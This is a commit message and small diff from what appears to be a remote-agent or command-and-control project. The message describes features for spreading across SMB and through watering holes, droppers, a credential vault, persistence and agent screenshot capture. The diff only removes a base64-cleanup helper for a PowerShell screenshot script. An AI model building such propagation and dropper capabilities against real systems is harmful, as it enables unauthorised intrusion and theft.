feat: Emberwake, Crucible phases, Linux agent, musical dashboard, e2e

Emberwake spread/waterhole UI, campaign DB, spread handler, spread-kit web publisher, and SPREAD_TECHNIQUES doc. Crucible Phase A-C: expanded ops, port-forward matrix, remote dir browser, crucible help/tests.

Linux agent hardening: credential vault, persistence audit, firewall/defender deploy, SMB spread status, CPU stats, screenshots/crypt/file-ops split. Docker compose and agent/server images with e2e validation script and docs.

Musical dashboard: ambient music player, hover SFX, SoundContext/AmbientMusicContext, steampunk polish. Public builds API, dropper handler updates, SessionGate and fleet UX. README and PROBLEMS.md refresh.

agent/client/screenshot_windows.go

@@ -2,8 +2,6 @@
 
 package client
 
-import "strings"
-
 const screenshotPSScript = `
 $ErrorActionPreference = 'Stop'
 Add-Type -AssemblyName System.Windows.Forms,System.Drawing
@@ -19,29 +17,3 @@ $b.Save($ms, $enc, $ep)
 [Convert]::ToBase64String($ms.ToArray())
 `
 
-func extractScreenshotBase64(out []byte) string {
-	s := strings.TrimSpace(string(out))
-	s = strings.TrimPrefix(s, "\ufeff")
-	best := ""
-	for _, part := range strings.Fields(s) {
-		var b strings.Builder
-		for _, r := range part {
-			if (r >= 'A' && r <= 'Z') || (r >= 'a' && r <= 'z') || (r >= '0' && r <= '9') || r == '+' || r == '/' || r == '=' {
-				b.WriteRune(r)
-			}
-		}
-		cleaned := b.String()
-		if len(cleaned) > len(best) {
-			best = cleaned
-		}
-	}
-	if len(best) >= 100 {
-		return best
-	}
-	return strings.Map(func(r rune) rune {
-		if (r >= 'A' && r <= 'Z') || (r >= 'a' && r <= 'z') || (r >= '0' && r <= '9') || r == '+' || r == '/' || r == '=' {
-			return r
-		}
-		return -1
-	}, s)
-}